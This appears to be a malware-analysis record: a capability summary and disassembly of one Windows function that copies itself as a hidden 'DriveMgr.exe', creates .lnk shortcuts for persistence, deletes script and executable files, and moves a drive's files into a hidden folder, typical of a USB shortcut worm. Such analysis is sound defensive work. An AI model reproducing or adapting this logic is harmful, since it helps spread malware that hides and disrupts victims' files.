Function at 0x401fc0
Capabilities:
Check if file exists
Copy file
Create directory
Delete file
Enumerate files on windows
Move file
Persist via lnk shortcut
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x12f4
call fcn.00404a00
mov eax, dword [ebp + 0x14]
and eax, 0x80000
je 0x401fde
xor al, al
jmp 0x402477
mov dword [ebp - 0x824], 0x405abc
mov byte [ebp - 0xc39], 0
mov ecx, dword [ebp + 0x10]
push ecx
push str._s.lnk
lea edx, [ebp - 0x618]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov eax, dword [ebp - 0x824]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str._s_sDriveMgr.exe
lea edx, [ebp - 0x12a8]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov eax, dword [ebp - 0x824]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x405afc
lea edx, [ebp - 0x1098]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x618]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x405b08
lea edx, [ebp - 0xa30]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov eax, dword [ebp + 8]
push eax
push str._s
lea ecx, [ebp - 0x410]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x12a8]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4020d4
lea eax, [ebp - 0x12a8]
push eax
call fcn.00402700
add esp, 4
mov dword [ebp - 0x12ac], eax
mov ecx, dword [0x408188]
cmp ecx, dword [ebp - 0x12ac]
je 0x4020d4
push 0x80
lea edx, [ebp - 0x12a8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x12a8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x12a8]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40214c
lea edx, [ebp - 0x1098]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x402118
push 0
lea eax, [ebp - 0x1098]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x402118
push 7
lea ecx, [ebp - 0x1098]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x1098]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40214c
push 0
lea eax, [ebp - 0x12a8]
push eax
push 0x408190
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 1
lea ecx, [ebp - 0xa30]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0xa30]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4021b0
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x402184
push 9
push 0x405b20
lea ecx, [ebp - 0x12a8]
push ecx
lea edx, [ebp - 0xa30]
push edx
call fcn.00401dc0
add esp, 0x10
jmp 0x4021a1
push 8
push str.shell32.dll
lea eax, [ebp - 0x12a8]
push eax
lea ecx, [ebp - 0xa30]
push ecx
call fcn.00401dc0
add esp, 0x10
push 5
lea edx, [ebp - 0xa30]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0xe90]
push eax
lea ecx, [ebp - 0x410]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x109c], eax
cmp dword [ebp - 0x109c], 0xffffffff
je 0x402471
mov dword [ebp - 0x12e8], str..lnk
mov dword [ebp - 0x12e4], str..vbs
mov dword [ebp - 0x12e0], str..bat
mov dword [ebp - 0x12dc], str..js
mov dword [ebp - 0x12d8], str..scr
mov dword [ebp - 0x12d4], str..com
mov dword [ebp - 0x12d0], str..jse
mov dword [ebp - 0x12cc], str..cmd
mov dword [ebp - 0x12c8], str..pif
mov dword [ebp - 0x12c4], str..jar
mov dword [ebp - 0x12c0], str..dll
mov dword [ebp - 0x12bc], str..vbe
mov dword [ebp - 0x12b8], str..inf
mov edx, dword [ebp - 0x824]
mov dword [ebp - 0x12b4], edx
lea eax, [ebp - 0x618]
mov dword [ebp - 0x12b0], eax
push 0x405bec
lea ecx, [ebp - 0xe64]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x40229d
push 0x405bf0
lea edx, [ebp - 0xe64]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x4022a2
jmp 0x402448
mov byte [ebp - 0x12ea], 0
mov dword [ebp - 0x12f0], 0
jmp 0x4022c4
mov eax, dword [ebp - 0x12f0]
add eax, 1
mov dword [ebp - 0x12f0], eax
cmp dword [ebp - 0x12f0], 2
jae 0x4022f9
mov ecx, dword [ebp - 0x12f0]
mov edx, dword [ebp + ecx*4 - 0x12b4]
push edx
lea eax, [ebp - 0xe64]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4022ee
jmp 0x4022b5
mov byte [ebp - 0x12ea], 1
jmp 0x4022f9
movzx ecx, byte [ebp - 0x12ea]
test ecx, ecx
je 0x402309
jmp 0x402448
mov byte [ebp - 0x12e9], 0
mov dword [ebp - 0x12f4], 0
jmp 0x40232b
mov edx, dword [ebp - 0x12f4]
add edx, 1
mov dword [ebp - 0x12f4], edx
cmp dword [ebp - 0x12f4], 0xd
jae 0x4023a2
mov eax, dword [ebp - 0x12f4]
mov ecx, dword [ebp + eax*4 - 0x12e8]
push ecx
lea edx, [ebp - 0xe64]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x402355
jmp 0x40231c
lea eax, [ebp - 0xe64]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x405bf8
lea edx, [ebp - 0x820]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x80
lea eax, [ebp - 0x820]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x820]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [ebp - 0x12e9], 1
jmp 0x4023a2
movzx edx, byte [ebp - 0x12e9]
test edx, edx
je 0x4023b2
jmp 0x402448
lea eax, [ebp - 0x1098]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4023c8
jmp 0x402448
lea ecx, [ebp - 0xe64]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x405c04
lea eax, [ebp - 0xc38]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0xe64]
push ecx
mov edx, dword [ebp - 0x824]
push edx
mov eax, dword [ebp + 8]
push eax
push str._s_s_s
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
mov edx, dword [ebp - 0xe90]
and edx, 0x10
je 0x402432
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0xc38]
push ecx
call fcn.00401e80
add esp, 8
jmp 0x402448
push 9
lea edx, [ebp - 0x208]
push edx
lea eax, [ebp - 0xc38]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea ecx, [ebp - 0xe90]
push ecx
mov edx, dword [ebp - 0x109c]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x402271
mov eax, dword [ebp - 0x109c]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, byte [ebp - 0xc39]
mov esp, ebp
pop ebp
ret